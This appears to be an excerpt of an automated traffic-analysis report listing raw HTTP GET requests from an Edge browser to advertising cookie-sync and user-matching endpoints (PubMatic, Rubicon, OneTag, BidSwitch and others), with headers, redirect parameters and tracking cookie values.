Source: global traffic	HTTP traffic detected: GET /pixel?gdpr=0&gdpr_consent=&redir=https%3A%2F%2Fcs-server-s2s.yellowblue.io%2Fcs%3Ffwrd%3D1%26aid%3D11607%26uid%3D%24UID HTTP/1.1Host: ap.lijit.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://cs-server-s2s.yellowblue.io/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /match/?int_id=113&gdpr=0&gdpr_consent=&callback=https%3A%2F%2Fs.amazon-adsystem.com%2Fecm3%3Fex%3Donetag.com%26id%3D%24%7BUSER_TOKEN%7D&ot_initiated=1 HTTP/1.1Host: onetag-sys.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://onetag-sys.com/usync/?gdpr=0&gdpr_consent=&pubId=69f48c2160c8113Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: OTP=0_9OdjXvCmt7TUg7XK4Dfizz9HcKMUga4_zi2GJyKEA
Source: global traffic	HTTP traffic detected: GET /usersync/disqus?cb=https%3A%2F%2Fssp.disqus.com%2Fmatch%3Fbidder%3D33%26buyeruid%3D__ZUID__%26r%3DCid1YS1hNDc3YzRhYi01MjNlLTM3MDQtODA5My04YzVjYTM0ZjY3OGIqYmh0dHBzOi8vY3Mtc2VydmVyLXMycy55ZWxsb3dibHVlLmlvL2NzP2Z3cmQ9MSZhaWQ9MTE2MTImaWQ9dWEtYTQ3N2M0YWItNTIzZS0zNzA0LTgwOTMtOGM1Y2EzNGY2NzhiMgIhKTgB&gdpr=0&gdpr_consent=&puid=ua-a477c4ab-523e-3704-8093-8c5ca34f678b&s=2&us_privacy= HTTP/1.1Host: b1sync.outbrain.comConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Referer: https://cs-server-s2s.yellowblue.io/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /73c1e1bfc3bde354d60b80e601ae3914.gif?puid=[UID]&redir=https%3A%2F%2Fonetag-sys.com%2Fmatch%2F%3Fint_id%3D164%26gdpr%3D0%26gdpr_consent%3D%26uid%3D%5BUID%5D&gdpr=${GDPR}&gdpr_consent=${GDPR_STRING}&ccpa=&coppa= HTTP/1.1Host: cs.admanmedia.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://onetag-sys.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /khaos.json?gdpr=0&us_privacy=1-N- HTTP/1.1Host: token.rubiconproject.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: /Origin: https://eus.rubiconproject.comSec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://eus.rubiconproject.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: khaos_p=M7A5MT0O-13-DO11; receive-cookie-deprecation=1; audit_p=1\|UhAUeK5mAW+96IPQbdWLMjPesnv+p5APnXgaNHOtIjLlGNsBp+KQQcj+z4eB8T0onifGjSD3hyvyUhTWCqUS/Pv31DA4fHDqMp0HTDw5gZ7V/IjBlWfcnUFlvF8UlMcu0qFFTMmSniq+ZnloUXshQ8ouJzmKE+FMYPDxny9O7hNPVHjylZIeXC/t3R5oxJCA
Source: global traffic	HTTP traffic detected: GET /exchange/sync.php?p=onetag&gdpr=0&gdpr_consent= HTTP/1.1Host: pixel-eu.rubiconproject.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://onetag-sys.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: khaos_p=M7A5MT0O-13-DO11; receive-cookie-deprecation=1; audit_p=1\|UhAUeK5mAW+96IPQbdWLMjPesnv+p5APnXgaNHOtIjLlGNsBp+KQQcj+z4eB8T0onifGjSD3hyvyUhTWCqUS/Pv31DA4fHDqMp0HTDw5gZ7V/IjBlWfcnUFlvF8UlMcu0qFFTMmSniq+ZnloUXshQ8ouJzmKE+FMYPDxny9O7hNPVHjylZIeXC/t3R5oxJCA
Source: global traffic	HTTP traffic detected: GET /AdServer/ImgSync?p=160318&gdpr=&gdpr_consent=&pu=https%3A%2F%2Fimage4.pubmatic.com%2FAdServer%2FSPug%3Fp%3D160318%26pmc%3DPM_PMC%26pr%3Dhttps%253A%252F%252Fusr.undertone.com%252FuserPixel%252Fsync%253FpartnerId%253D53%2526uid%253D%2523PMUID&rdf=1 HTTP/1.1Host: image8.pubmatic.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://cdn.undertone.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /ups/58545/occ?verify=true HTTP/1.1Host: ups.analytics.yahoo.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://cdn.undertone.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /AdServer/ImgSync?p=159706&gdpr=0&gdpr_consent=&us_privacy=&pu=https%3A%2F%2Fonetag-sys.com%2Fmatch%2F%3Fint_id%3D114%26gdpr%3D${GDPR}%26gdpr_consent%3D${GDPR_STRING}%26uid%3D%23PMUID&rdf=1 HTTP/1.1Host: image8.pubmatic.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://onetag-sys.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /setuid?bidder=33across&gdpr=&gdpr_consent=&us_privacy=1-N-&gpp=&gpp_sid=&f=b&uid=213002944099037 HTTP/1.1Host: s2s.t13.ioConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://hde.tynt.com/deb/?m=xch&rt=html&gdpr=&gdpr_consent=&us_privacy=1-N-&id=zzz000000000002zzz&ru=https%3A%2F%2Fs2s.t13.io%2Fsetuid%3Fbidder%3D33across%26gdpr%3D%26gdpr_consent%3D%26us_privacy%3D1-N-%26gpp%3D%26gpp_sid%3D%26f%3Db%26uid%3D33XUSERID33X&b=1Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: uids=eyJ0ZW1wVUlEcyI6eyJheG9uaXgiOnsidWlkIjoiYjRiNjhkNjMtOGU4Ni00NTBjLWIzYWYtODczNTg4NmU0NjhmIiwiZXhwaXJlcyI6IjIwMjUtMDMtMDRUMDc6MjA6MTQuNTA0MDE2MjY3WiJ9LCJ1bnJ1bHlmc3giOnsidWlkIjoiT1BUT1VUIiwiZXhwaXJlcyI6IjIwMjUtMDMtMDRUMDc6MjA6MTEuMzQyMTQyMjI0WiJ9LCJ1bnJ1bHkiOnsidWlkIjoiT1BUT1VUIiwiZXhwaXJlcyI6IjIwMjUtMDMtMDRUMDc6MjA6MTQuMjA3NzM2ODI1WiJ9fX0=
Source: global traffic	HTTP traffic detected: GET /check_uuid/https%3A%2F%2Fsync.cootlogix.com%2Fapi%2Fcookie%3FpartnerId%3Dgrid%26userId%3D%24%7BBSW_UUID%7D%26gdpr%3D%26gdpr_consent%3D%26us_privacy%3D?gdpr=&gdpr_consent=&us_privacy=&uid=${BSW_UUID}&cookie_age=${COOKIE_AGE} HTTP/1.1Host: x.bidswitch.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://cdn.undertone.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /api/cookie?partnerId=undertonenew&userId=eygnsgye694mf0w67aab60s1h&gdpr=&gdpr_consent=&us_privacy= HTTP/1.1Host: sync.cootlogix.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://cdn.undertone.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: vdz_sync=23ddfc42-8a3c-7016-4d4c-e8ca6f61f114; vdzj1_5d69939c=szr14o9XiORlHpldxBuFBsoCD0mAi0CH0ZCGVdZCmwMdmpcfBIOVxsmQwxcPFt%2FMV9%2FRQ5GVGBDW1g5DStqDilDCAZAdBMOWGkIeGsNfhJOSFp3E1xcbFl3aw8qR1sFTnJFXg47CntnCHxSQEZOcxFbDGhYe2FfekRfBUhyRFgJPQ94NA9qXE5RHnFAXFw%2BXytlWHxBD1RIc0ILWj1eLDZOZFJaUktyFF0NPVF7N1gsR1UFQXpNC1xsXXtwMWRSDwsNLAFNA2hFbTUIOAJOXgNgHBx8DUt1NA0kAwlIWiURH0t6U21iTmRSCwAIMDYAVysMISZOclJOSFo3Bj9LMR8uMRVqSk5VVQxYTUR0Szw3HzsZAwpaeFdWXGAKKWMOLl0NXRlzWFdbYF1iMworSUFWSXMRDF9tWndiXSxSQEYbLRsBXDsdJj0CARROXlp0QldYalt9ZlV9QlpRQXZCDg9qCHhiVClSQEYRMTwJSzkEKnBWPAIZAQU%3D; vdzj1_805786a6=BSU11nAusHLDEszpFWMFEjo4KiABCVJUGldGLn9xdhYcRgp2QUd5L3R1Qk0UDSRCECxuaGdFSUQLeE1DfC4mdhAeRg0kEUF4L3dyRhhSQmNAFXspcHVLQxMMdkISfnx0dEQZE1p0EUdqYGZzQh5EW3FER3t%2FdnFAG0BecEJDLSpzIxBYXEx3R0MpfnJyQxgVDSMTEXF7cXFETEdeIBFRZG5ycRIbFAp5FxJ7KCZ9RRwRD3AURHEtcidRVlJYd0ZDKX5wIEtOFVolQkopdXx9Fx9EWnVXLmRuJyoGFARMe0VfaisgNQFYShU8WVE7KTc2GhUeTHtXSi10JyNCGBZDIEwSeWF8J0tOXQ8nFkplfnV0FxkWW3JNQ3koZmlRGR8ALxAQPCUrKzoeUlRjQ0R%2FfyV0FRkTXyQQS3h8cSMVH0INdBcSajE%3D; vdz_r=https%3A%2F%2Fusr.undertone.com%2FuserPixel%2Fsync%3FpartnerId%3D59%26uid%3D23ddfc42-8a3c-7016-4d4c-e8ca6f61f114; vdzj1_fe46ff5e=6rz12gNwX1O3pDu1sHGwHOUM7XRU2BhNJPGxCPgJ6ABUiQ1VEU3pGOwF%2FAkcgFlREBCpVdBN6VUNxRlRBXypAbAV%2BUEB0RAYXBCtAO1NtH1JyRgNCBX5ObgZ%2BAkhwQAkQVndGbFB6BkVmWRNFVipDbQF%2BB0N3RwVABn5HaQZ%2FVhZzE1JRS2xCPgIqB0B8TFIRUHkWbgF%2FAkcnFgVGA3pVdBN5AkJxRAESAy9DawIuBUB0RAZLUHtHbgVtH1JyRgUWXnZHbFMtABMgQ1IWA3xHOwJ4BhJmWRNFVSgSbQYsURQiQgMXU3tEYAB8B0V1RVBRS2xCPgZ2BEcmQgVBXypHOgF%2FAkclFgcXUStVdBN5BhVwTABCUXwVbwkuB0ciFFdAUH4UOVNtH1JyQ1QXVXkWaQd6AkJ1QglFV3tEalV%2FVxJmWRNFVXhOaggrVUd3FlMQX3ZOOQkrAUgiRgFRS2xBbgJ%2FUkJwEAlHAnoTbwguCkh8EVRHU3pVdBN5BhQnQwhLAShAagQuAkcgF1NGVy1BOQZtH1JyQwBEA3lEOVMqCkJ2FgdFAytGOlJ2BUBmWRNFUnpEbwB8VhQmFwhHVH5PPAQsA0B8TQVRS2xBbFAuVxR8F1BAAyxPblcuUkElQggSUSxVdBN5BhUiRgVDU3lPaQkrBBZ2EwkXBn5GbFNtH1JyQVIVXnhHbwN9BRZ0FgFBA3pPbgUqUhVmWRNFUS9AYQR9BUJwEVQQUHYTYAl6ABQhFgRRS2xBalcqBhZwR1QVBntCbgEtBUd3RFVHBixVdBN5AUAlRwdEVywSO1MpUUlzQAVEUXlHOVVtH1JyQ1dKVyoWbwUqCxZzRANAVXpPbggsAEBmWRNFUHlFO1IpC0knE1AVUy1FbwB%2BAER2EAVROmJVP1U%2FQVJ%2BDhMaFAsiegspUhw3EB1RACoHKhN1EVJoV1YXFzw0N188Vh4wVwtRRWJVLUIfQRkyFFIKRXRVeh1tVAA0VwtRRWJVP0E%2FYBkgVwtRRWJVKlQrWgIhFkVRXWwfLEU%2FQEprWkQAFWACNlUqQQQrG1RdBCEad0Q8VgIUHEkWC2EEIV8sDAAlB0UdAjw%2BPAx6C
Source: global traffic	HTTP traffic detected: GET /cs?aid=11599&id=OPTOUT HTTP/1.1Host: cs.yellowblue.ioConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://cs-server-s2s.yellowblue.io/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: wrvUserID=Ye_0e3ErCp_s
Source: global traffic	HTTP traffic detected: GET /sync?redirect=https%3A%2F%2Fcs-server-s2s.yellowblue.io%2Fcs%3Ffwrd%3D1%26aid%3D11595%26id%3D%7BID5UID%7D&gdpr_consent=&gdpr=0&us_privacy=&gdpr_pd=&source=5&google_push=&retry=true HTTP/1.1Host: sync.inmobi.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://cs-server-s2s.yellowblue.io/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /api/cookie?partnerId=openx&userId=c1e06d65-7a9e-4440-aa26-121ed8705058&gdpr=0&gdpr_consent=&us_privacy=1-N- HTTP/1.1Host: sync.cootlogix.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://u.openx.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: vdz_sync=23ddfc42-8a3c-7016-4d4c-e8ca6f61f114; vdzj1_5d69939c=szr14o9XiORlHpldxBuFBsoCD0mAi0CH0ZCGVdZCmwMdmpcfBIOVxsmQwxcPFt%2FMV9%2FRQ5GVGBDW1g5DStqDilDCAZAdBMOWGkIeGsNfhJOSFp3E1xcbFl3aw8qR1sFTnJFXg47CntnCHxSQEZOcxFbDGhYe2FfekRfBUhyRFgJPQ94NA9qXE5RHnFAXFw%2BXytlWHxBD1RIc0ILWj1eLDZOZFJaUktyFF0NPVF7N1gsR1UFQXpNC1xsXXtwMWRSDwsNLAFNA2hFbTUIOAJOXgNgHBx8DUt1NA0kAwlIWiURH0t6U21iTmRSCwAIMDYAVysMISZOclJOSFo3Bj9LMR8uMRVqSk5VVQxYTUR0Szw3HzsZAwpaeFdWXGAKKWMOLl0NXRlzWFdbYF1iMworSUFWSXMRDF9tWndiXSxSQEYbLRsBXDsdJj0CARROXlp0QldYalt9ZlV9QlpRQXZCDg9qCHhiVClSQEYRMTwJSzkEKnBWPAIZAQU%3D; vdzj1_805786a6=BSU11nAusHLDEszpFWMFEjo4KiABCVJUGldGLn9xdhYcRgp2QUd5L3R1Qk0UDSRCECxuaGdFSUQLeE1DfC4mdhAeRg0kEUF4L3dyRhhSQmNAFXspcHVLQxMMdkISfnx0dEQZE1p0EUdqYGZzQh5EW3FER3t%2FdnFAG0BecEJDLSpzIxBYXEx3R0MpfnJyQxgVDSMTEXF7cXFETEdeIBFRZG5ycRIbFAp5FxJ7KCZ9RRwRD3AURHEtcidRVlJYd0ZDKX5wIEtOFVolQkopdXx9Fx9EWnVXLmRuJyoGFARMe0VfaisgNQFYShU8WVE7KTc2GhUeTHtXSi10JyNCGBZDIEwSeWF8J0tOXQ8nFkplfnV0FxkWW3JNQ3koZmlRGR8ALxAQPCUrKzoeUlRjQ0R%2FfyV0FRkTXyQQS3h8cSMVH0INdBcSajE%3D; vdz_r=https%3A%2F%2Fusr.undertone.com%2FuserPixel%2Fsync%3FpartnerId%3D59%26uid%3D23ddfc42-8a3c-7016-4d4c-e8ca6f61f114; vdzj1_fe46ff5e=6rz12gNwX1O3pDu1sHGwHOUM7XRU2BhNJPGxCPgJ6ABUiQ1VEU3pGOwF%2FAkcgFlREBCpVdBN6VUNxRlRBXypAbAV%2BUEB0RAYXBCtAO1NtH1JyRgNCBX5ObgZ%2BAkhwQAkQVndGbFB6BkVmWRNFVipDbQF%2BB0N3RwVABn5HaQZ%2FVhZzE1JRS2xCPgIqB0B8TFIRUHkWbgF%2FAkcnFgVGA3pVdBN5AkJxRAESAy9DawIuBUB0RAZLUHtHbgVtH1JyRgUWXnZHbFMtABMgQ1IWA3xHOwJ4BhJmWRNFVSgSbQYsURQiQgMXU3tEYAB8B0V1RVBRS2xCPgZ2BEcmQgVBXypHOgF%2FAkclFgcXUStVdBN5BhVwTABCUXwVbwkuB0ciFFdAUH4UOVNtH1JyQ1QXVXkWaQd6AkJ1QglFV3tEalV%2FVxJmWRNFVXhOaggrVUd3FlMQX3ZOOQkrAUgiRgFRS2xBbgJ%2FUkJwEAlHAnoTbwguCkh8EVRHU3pVdBN5BhQnQwhLAShAagQuAkcgF1NGVy1BOQZtH1JyQwBEA3lEOVMqCkJ2FgdFAytGOlJ2BUBmWRNFUnpEbwB8VhQmFwhHVH5PPAQsA0B8TQVRS2xBbFAuVxR8F1BAAyxPblcuUkElQggSUSxVdBN5BhUiRgVDU3lPaQkrBBZ2EwkXBn5GbFNtH1JyQVIVXnhHbwN9BRZ0FgFBA3pPbgUqUhVmWRNFUS9AYQR9BUJwEVQQUHYTYAl6ABQhFgRRS2xBalcqBhZwR1QVBntCbgEtBUd3RFVHBixVdBN5AUAlRwdEVywSO1MpUUlzQAVEUXlHOVVtH1JyQ1dKVyoWbwUqCxZzRANAVXpPbggsAEBmWRNFUHlFO1IpC0knE1AVUy1FbwB%2BAER2EAVROmJVP1U%2FQVJ%2BDhMaFAsiegspUhw3EB1RACoHKhN1EVJoV1YXFzw0N188Vh4wVwtRRWJVLUIfQRkyFFIKRXRVeh1tVAA0VwtRRWJVP0E%2FYBkgVwtRRWJVKlQrWgIhFkVRXWwfLEU%2FQEprWkQAFWACNlUqQQQrG1RdBCEad0Q8VgIUHEkWC2EEIV8sDAAlB0UdAjw%2BPA
Source: global traffic	HTTP traffic detected: GET /sync?ssp=bidswitch&bidswitch_ssp_id=onetag&bsw_user_id=&gdpr=0&gdpr_consent=&us_privacy= HTTP/1.1Host: rtb.mfadsrvr.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://onetag-sys.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /userPixel/sync?partnerId=59&uid=23ddfc42-8a3c-7016-4d4c-e8ca6f61f114 HTTP/1.1Host: usr.undertone.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://cdn.undertone.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /track/cmb/generic?ttd_pid=sirnsvg&ttd_tpi=1&gdpr=0&gdpr_consent= HTTP/1.1Host: match.adsrvr.orgConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://cdn.undertone.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /usersync2/rmpssp?sub=vidazoo&zcc=1&cb=1739863189190&us_privacy=1-N- HTTP/1.1Host: sync.1rx.ioConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://sync.cootlogix.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /match/?int_id=98&uid=2630127119070967565&gdpr=0&gdpr_consent= HTTP/1.1Host: onetag-sys.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://onetag-sys.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: OTP=0_9OdjXvCmt7TUg7XK4Dfizz9HcKMUga4_zi2GJyKEA
